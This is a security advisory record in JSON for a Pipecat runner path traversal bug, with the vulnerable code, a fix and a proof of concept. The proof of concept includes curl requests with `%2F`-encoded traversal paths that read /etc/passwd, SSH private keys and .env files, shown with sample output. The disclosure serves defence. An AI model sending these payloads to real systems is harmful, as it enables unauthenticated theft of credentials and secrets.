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8.5 KiB
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8.5 KiB
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{"schema_version":"1.9.0","id":"GHSA-3363-2ph6-35wh","published":"2026-05-15T16:55:04Z","modified":"2026-07-13T16:42:50.468184485Z","aliases":["CVE-2026-44716","PYSEC-2026-2877"],"summary":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","details":"## Summary\n\nA path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n \"\"\"Handle file downloads.\"\"\"\n if not args.folder:\n logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n return\n\n file_path = Path(args.folder) / filename # ← no containment check\n if not os.path.exists(file_path):\n raise HTTPException(404)\n\n media_type, _ = mimetypes.guess_type(file_path)\n\n return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n ↓\nfilename = \"../../etc/passwd\" (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n = Path(\"/tmp/media/../../etc/passwd\")\n → resolves to /etc/passwd (os.path.exists returns True)\n```\n\nThe endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 — Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n import asyncio\n await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n from pipecat.runner.run import main\n main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" > /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n -t webrtc \\\n --host 127.0.0.1 \\\n --port 7860 \\\n --folder /tmp/bot_media\n```\n\nExpected output:\n<img width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" />\n\n### Step 2 — Exploit\n\n```bash\n# Legitimate request — serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# → session transcript\n\n# Literal ../ — blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# → {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators — bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# → ## User Database\n# root:*:0:0:System Administrator:/var/root:/bin/sh\n# ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# → -----BEGIN OPENSSH PRIVATE KEY-----\n# b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n<img width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" />\n<img width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" />\n<img width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" />\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n if not args.folder:\n logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n return\n\n allowed_base = Path(args.folder).resolve()\n file_path = (allowed_base / filename).resolve() # resolve AFTER join\n\n if not file_path.is_relative_to(allowed_base): # containment check\n raise HTTPException(status_code=403, detail=\"Access denied\")\n if not file_path.exists():\n raise HTTPException(status_code=404)\n\n media_type, _ = mimetypes.guess_type(file_path)\n return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.","affected":[{"package":{"name":"pipecat-ai","ecosystem":"PyPI","purl":"pkg:pypi/pipecat-ai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.90"},{"fixed":"1.2.0"}]}],"versions":["0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","1.0.0","1.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3363-2ph6-35wh/GHSA-3363-2ph6-35wh.json"}}],"references":[{"type":"WEB","url":"https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44716"},{"type":"WEB","url":"https://github.com/pipecat-ai/pipecat/pull/4417"},{"type":"WEB","url":"https://github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129"},{"type":"PACKAGE","url":"https://github.com/pipecat-ai/pipecat"},{"type":"WEB","url":"https://github.com/pipecat-ai/pipecat/releases/tag/v1.2.0"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-05-15T16:55:04Z","nvd_published_at":"2026-06-10T00:16:53Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]} |